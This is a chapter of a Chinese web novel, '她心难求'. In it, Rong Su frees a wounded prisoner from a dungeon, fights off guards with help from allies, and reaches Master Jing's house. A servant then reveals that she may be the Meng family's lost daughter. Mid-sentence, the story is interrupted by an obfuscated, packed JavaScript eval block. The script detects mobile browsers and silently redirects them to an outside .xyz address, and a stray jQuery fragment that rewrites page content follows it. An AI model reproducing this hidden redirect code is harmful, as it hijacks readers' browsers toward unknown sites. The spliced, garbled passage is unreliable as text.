11. 第十一章
作品:《她心难求》 “孟······姑娘?”
刚翻出地牢,背上传来一个虚弱的声音。
容素停下脚步,微微偏头:“徐兄你醒了?你还好吗?”
徐遥之有气无力地回答:“我还能撑住,没想到姑娘真的来救我了。”
当初他见容素有勇有谋,只觉十分可靠,便想着开口寻求帮助,抓住最后一点机会。不过这两天他也没存什么希望,他想着容素就算能逃出去,也不会冒险来救他。
想到这里,他的眼眶不由得泛红。
“你坚持住。”容素说着,继续往外走去。
她出了柴房,往后走拐进事先熟知的小径,吃力地往前赶去。
路旁是高高的素墙,栽着稀疏的小树,一片幽暗,只有几点月光漏下。
容素旧伤未愈又添新伤,肩上又扛着人,刚走出一段路,就已经满头大汗了。
她重重地呼了口气,正欲放慢脚步,却隐隐约约听见叫喊声:
“他们肯定还没逃远,赶紧的,给我四处找找。”
容素暗道不好,只好继续加快脚步,肩膀越来越沉重。
“姑娘你自己走吧······我不想连累你。”徐遥之努力睁开眼,虚弱地开口。
“这样的话那我今晚岂不是白忙活了!”容素恨恨开口,气喘吁吁。
“那这样吧,姑娘你把我放下来,扶着我,我们一起跑出去,若你背着我跑,恐怕我们都会被抓到。”徐遥之咬了咬舌头,疼痛感袭来,他强撑着打起了精神。
“你可以吗?”容素犹豫,现在她体力不支,背着徐遥之确实速度不快。
“放心吧。”
容素停下脚步,将他从背上放了下来。
徐遥之的双脚上是大大小小的血痕,止不住地发软,整个人摇摇晃晃,容素赶紧扶住他。
两人不敢犹豫,赶忙向前快步走去。
尽管两人已经用尽全力,身后却传来越来越响的脚步声。
“你们往哪跑!”
五个护卫刚刚挨了管事的骂,正心有怒意,此刻终于找到逃走的两人,于是卯足了劲追上去,定要将两人拿下。
容素察觉与来人的距离越拉越近,便知靠两人的速度是甩不掉他们的,免不了还得缠斗一番。
她把徐遥之放到草丛旁,起身抽出软剑,与追上来的五个护卫打了起来。
那五个护卫显然不想全在她这里侯着,其中一个趁机窜到徐遥之旁边,挥剑向他刺去。
好在徐遥之拼尽全力往远处滚去,躲过了几刀,但明显体力不支,他试图起身躲剑,而护卫狠狠出刀,划伤了他的大腿,顿时鲜血淋漓,他吃痛跌坐在地,护卫并没有补刀,而是拿出绳子想把他绑回地牢。
容素这边的形势也岌岌可危,四个护卫将她包围,她显得十分吃力,又见徐遥之被抓,当下不由得分了神,腹部挨了一刀。
她捂着伤口,温热的血液顺着她的手滴下。
容素从守到退,动作也愈发地沉。
千钧一发之际,一道黑影冲进来,剑光闪过,劈开了刺向容素的剑。
那人紧接着抬起右手往前方扫去,几发暗箭从他手中射出,噗噗几声,精准刺中了对面四人。
“凌风?”容素看清了来人,又惊又喜。
“姑娘快走!”
身后传来了听雪的声音,容素转身,只见听雪手执短匕,将剩下的一位护卫解决,随后拉起昏迷的徐遥之。
容素应声,向凌风道了声谢,旋即跑过去帮忙扶着徐遥之,一起往小角门的方向奔去。
凌风扫了那些倒地的护卫,见他们没法起身追过来,便也放下心,跟在他们身后离去。
*
角门外是一条小巷,一驾朱漆马车静静地停在一旁,车顶的锦绣蓬盖垂下的金色流苏在月色下隐隐泛着暗光。
“姑娘,那是公子的马车,上去吧!”听雪开口。
容素点头。
掀开车帘,檀香沁鼻,车内宽敞明亮,铺着薄薄的锦席,车厢最里处,赫然是景公子。
“见过公子。”
容素与听雪扶着徐遥之进了马车,凌风则在前舆驾马,马蹄声起,马车渐渐没入昏暗的巷子。
听雪将徐遥之放下后,便找了个望风的借口离开了车厢。
景公子放下手中的书卷,端详着容素,见她身上染血,挖苦道:“不是说自己一个人可以吗?你看看你这都挨了多少刀了,人还是要有些自知之明为好。”
容素不以为意,反笑道:“不管怎么说,还是要多谢公子仗义相帮,借我布局图,还派了听雪和凌风前来相救,若没有他们及时出现,恐怕我又要落入醉乐楼那群人的手中了,容素感激不尽。”
景公子:“你是我的人,哪有放任别人抓去的道理。”
说着,他目光扫向了徐遥之,见他双目紧闭,伤痕累累,一脸狼狈,不由得面带嫌弃:“这位就是你要救的人?怎么是个男的?”
容素信手拈来:“这位是常年与我一起行商的徐兄,我们情同手足,此番不幸落入醉乐楼手中,纵然危险万分,我也不能丢下他不管。”
“那你可真是重情重义······”景公子幽幽道,“敢把地牢里的人都放走了,可惜啊,醉乐楼在泰城的势力可不容小觑,翻遍整个城找人不过是小事一桩,你放出来的那些人不消多时就会被抓回去。”
容素收敛笑意,面色染上凝重:“可比起一直被困在那里,他们肯定更愿意有一个逃走的机会,至少逃出去还有一线希望。”
“真不知你这是‘真大义’还是‘假大义’。”
看着她身上滴着血的伤口,景公子心底不由得涌起一阵烦躁。
*
马车晃晃悠悠,约摸过了一炷香的时间,便抵达了景公子的宅子。
容素起身就要去把徐遥之背下次车,一本卷起的书从一旁冷不丁地伸出,一把打掉她欲伸出去的手。
“你这么虚弱就别逞能了,让凌风把他扛回去。”
容素犹豫片刻,还是收回了手:“有劳了。”
她掀开车帘走下马车,听雪和凌风在车下侍立,容素笑笑:“麻烦你们把徐兄安置
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189875|181089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一下。”
两人点头答应。
容素跳下马车,腹部的伤口被牵扯,疼痛感袭来,容素不由得皱起眉头,身形一滞。
听雪看她脸色苍白,上前扶住她:“姑娘,你没事吧?我扶着你吧。”
“多谢。”
听雪扶着容素回了那间角房,景公子没再跟过去,自顾自地回了自己的屋子。
“姑娘你且等着,我去厢房把大夫请过来给你诊治一下。”
听雪把容素按到塌上后便要往外走。
“不必了!”容素赶紧叫住她。
听雪犹豫:“可是姑娘,这是公子的命令······”
容素安慰道:“我的伤都是皮外伤,待会我自己去上上药就可以了,麻烦你把大夫请去给徐兄治治吧,他看起来不太好。”
“那姑娘要好好照顾自己”,说着,她跑到墙边立着的架阁墙,摸索了一会,手上出现了一个硬木匣子。
听雪捧着匣子放到容素手边:“姑娘,这个是药箱,里面有许多治跌打损伤的药,若不够用,记得同我说呀!”
“嗯。”容素笑着颔首。
听雪走后,容素将药箱打开,拿出一瓶金疮药和一卷纱布,草草擦了两处伤口上的血迹,随后挑开药瓶的木塞,把药粉撒在纱布上,往伤口上捂去,密针扎般痛苦传来,容素面露苦色,额间沁出了细汗。
可真遭老罪了。
容素长出了一口气,慢慢地把伤口包扎好。
*
“公子。”
听雪进屋,朝案前的景公子行了个礼。
景公子抬眸,问:“她怎么样了?”
“姑娘说她受的是皮外伤不严重,让大夫不必给她看病,直接去给徐公子诊治就好。”
“不识好歹!”景公子面露不悦。
听雪尴尬地笑了笑,继续说:“公子,你上次让我去查姑娘被醉乐楼抓去的事有些眉目了。”
“怎么说?”
“醉乐楼那边的管事说,容素姑娘是雾山一伙山匪卖给他们的······”
景公子皱眉:“雾山?云州东际的那座?”
“正是。”听雪点点头,“我们找到了那群山匪的二当家,他说那日他们是劫了一行商队,姑娘就在那行商队中,起初他们见姑娘容貌出众,便想着绑去给寨主当压寨夫人,但是姑娘不从还试图逃跑,逃跑时划伤了脚,那个二当家觉得伤口会留疤,他们寨主怕是不喜欢了,便卖给了醉乐楼。”
“只是说来奇怪”,听雪顿了顿,“这商队的领头是云州孟家的大少爷,而姑娘竟是这位大少爷的妹妹,也就是孟家的五小姐,孟竹。”
景公子不解:“她是孟家的小姐?怎么可能?”
听雪也十分疑惑:“属下觉得奇怪,当时那个二当家十分肯定那就是孟家的商队,还说这几日孟家大少爷一直在派人寻找妹妹,不过属下已经派人去云州孟家探查了,这其中或许有什么隐情。”
“镇守北疆的将军之女,怎么会变成南方的一个世家小姐?”景公子双眼微眯,若有所思。

